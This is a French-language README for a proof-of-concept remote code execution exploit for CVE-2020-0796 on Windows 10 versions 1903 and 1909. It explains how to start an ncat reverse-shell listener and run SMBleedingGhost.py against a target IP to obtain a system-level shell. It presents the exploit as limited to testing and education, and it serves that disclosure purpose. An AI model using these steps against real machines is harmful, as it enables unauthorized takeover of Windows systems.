
Exécution de code à distance POC pour CVE-2020-0796
Assurez-vous que Python et ncat sont installés.
Exécutez calc_target_offsets.bat sur l'ordinateur cible et ajustez les offsets en haut du fichier SMBleedingGhost.py selon la sortie du script (voir aussi la note ci-dessous).
Exécutez ncat avec les arguments de ligne de commande suivants :
ncat -lvp <port>
Où <port> est le numéro de port sur lequel ncat écoutera.
Exécutez SMBleedingGhost.py avec les arguments de ligne de commande suivants :
SMBleedingGhost.py <target_ip> <reverse_shell_ip> <reverse_shell_port>
Où <target_ip> est l'adresse IP de l'ordinateur cible vulnérable. <reverse_shell_ip> et <reverse_shell_port> sont l'adresse IP et le numéro de port sur lequel ncat écoute.
Si tout se passe bien, ncat affichera un shell qui donne un accès système à l'ordinateur cible.
Note : Vous vous demandez peut-être pourquoi il est nécessaire d'exécuter le script calc_target_offsets.bat sur l'ordinateur cible, et cela ne va-t-il pas à l'encontre du principe même de l'exécution de code à distance ? Ces offsets ne sont pas aléatoires et sont les mêmes sur toutes les instances Windows de la même version de Windows. On pourrait rendre l'attaque plus universelle en détectant la version de Windows cible et en ajustant les offsets automatiquement, ou en ne s'y fiant pas du tout, mais ce n'est qu'une POC et nous avons fait ce qui était plus simple. Nous considérons également que c'est une bonne chose que la POC ne soit pas universelle et qu'elle ne soit pas pratique pour d'autres usages que les tests et l'éducation.

Les versions 1903 et 1909 de Windows 10 sont concernées. Les versions non patchées de Windows 10 1903 ne sont pas supportées en raison d'un bogue de déréférencement nul dans Windows (corrigé dans KB4512941).
En raison de la nature de l'exploitation, la POC fonctionne mieux sur des cibles exécutées sur un ordinateur (ou une machine virtuelle) avec un seul processeur logique. Les cibles avec plus d'un processeur logique fonctionnant dans VirtualBox devraient également être supportées, mais la POC est moins fiable dans ce cas. D'autres cibles pourraient ne pas être supportées. Pour plus de détails, reportez-vous à notre article technique ci-dessous.